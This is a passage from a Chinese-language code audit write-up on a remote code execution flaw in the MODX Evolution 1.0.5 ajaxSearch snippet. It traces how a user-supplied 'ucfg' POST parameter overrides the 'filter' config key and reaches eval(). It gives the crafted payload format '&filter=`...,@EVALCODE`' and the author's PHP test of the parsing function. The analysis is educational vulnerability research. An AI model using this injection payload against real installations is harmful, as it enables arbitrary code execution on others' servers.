下断点跟入initConfig方法，发现cfg成员变量是dcfg和ucfg合并之后的结果，dcfg是evolution-1.0.5\assets\snippets\ajaxSearch\configs\default.config.php定义的一个关联数组，而ucfg来自此处$this->ucfg = $this->parseUserConfig(strip_tags($_POST['ucfg']));

他是我们通过POST请求传入的参数，跟入parseUserConfig方法（我做了一些变量的输出，重点关注parseUserConfig方法体）：

<?php
//对传入的ucfg参数进行处理
function parseUserConfig($strUcfg) {
    $ucfg = array();
    //  &一串不包含=的字符串=`一串不包含`的字符串`
    $pattern = '/&([^=]*)=`([^`]*)`/';
    //要匹配的内容在两个括号里，$out最终会变成一个长度为3的数组，第一个存储的是匹配出的所有模式，
    //第二个存储的是第一个括号里的内容，第三个存储的是第二个括号里的内容
    //根据输入的字符串，可能会匹配出多组，第一个括号里的模式存在out[1]，第二个括号里的模式存在out[2]中
    preg_match_all($pattern, $strUcfg, $out);

    echo "<pre>";
    print_r($out);
    echo "<pre>";

    foreach ($out[1] as $key => $values) $ucfg[$out[1][$key]] = $out[2][$key];
    //处理完成后$ucfg会变成一个关联数组
    //如果我们的$$strUcfg的值是&a=`aksdajldasjds`
    //则$ucfg的值为[a] => aksdajldasjds
    return $ucfg;
}

$strUcfg = '&a=`24yhgr5w3bsf`&b=`24wrgsfgesdg`';

$ret = parseUserConfig($strUcfg);

echo "<br />";
echo "<hr>";
echo "<br />";
echo "<pre>";
print_r($ret);
echo "<pre>";

运行结果：

现在我们的POST参数如下：

现在让我们回到这个断点：$this->_filterValue = eval(substr($filterArray[1], 5));

在前面的分析中，我们知道了AjaxSearchConfig对象的cfg成员变量是由dcfg和ucfg使用array_merge方法合并之后形成的，dcfg我们不可控，可控的变量是ucfg，ucfg是一个关联数组，我们开始的payload是：

&a=`aksdajldasjds`

形成的关联数组是a => aksdajldasjds ，如果我们把ucfg参数的值构造为下面的样子：

&a=`aksdajldasjds`&filter=`6986758`

则生成的关联数组是a => aksdajldasjds filter => 6986758 ，所谓后来者居上，array_merge方法会让后面的关联数组的键覆盖已经存在的键，如此一来，$this->asCfg->cfg['filter']就是可控的变量了

现在我们直接将断点下在代码执行的地方

发送POST请求，未进入else分支，分析if分支的代码，回溯$filterArray变量，发现该变量是由我们可控的变量$this->asCfg->cfg['filter']使用,分割生成的数组，我们要想进入else分支，就要满足substr($filterArray[1], 0, 5) == "@EVAL"，这就要求我们构造的filter键的值包含,不然数组长度为1，$filterArray[1]根本就不存在，且,后面的前5个字符应该为@EVAL，后面为我们要执行的命令，最终构造出来的ucfg的值应该为：

&a=`aksdajldasjds`&filter=`6986758,@EVALCODE`

至此，代码审计完成，成功触发RCE漏洞

后记

本次代码审计的整体过程还是比较简单的，因为源代码并未对用户的恶意输入进行任何过滤

再次感谢licong师傅在此次审计过程中的指导

这里有一个地方需要说一下，在调试过程中我更改了ajaxSearchPopup.php的代码（这是很严重的错误操作，代码审计是绝对不允许更改源代码的）

因为在调试过程中总是出现某些常量没有被定义的情况，因此直接将配置文件手动包含了进来，后来从官网论坛中了解到，必须要通过根目录下的index-ajax.php进入ajaxSearchPopup.php，一些变量的定义也是在该文件中进行的，不通过index-ajax.php是无法使用$modx变量的

在index-ajax.php中进行了配置文件的引入

因此直接按照上面截图中的POST请求是无法触发RCE的，其实只需要分析index-ajax.php对POST请求做一下修改即可，详情不再赘述

这里学到的一个经验就是，如果出现常量未定义的错误，可以去找一下常量是在哪个文件中定义的，然后找出所有引用了该文件的代码，分析和漏洞代码有关联的代码，最终确定入口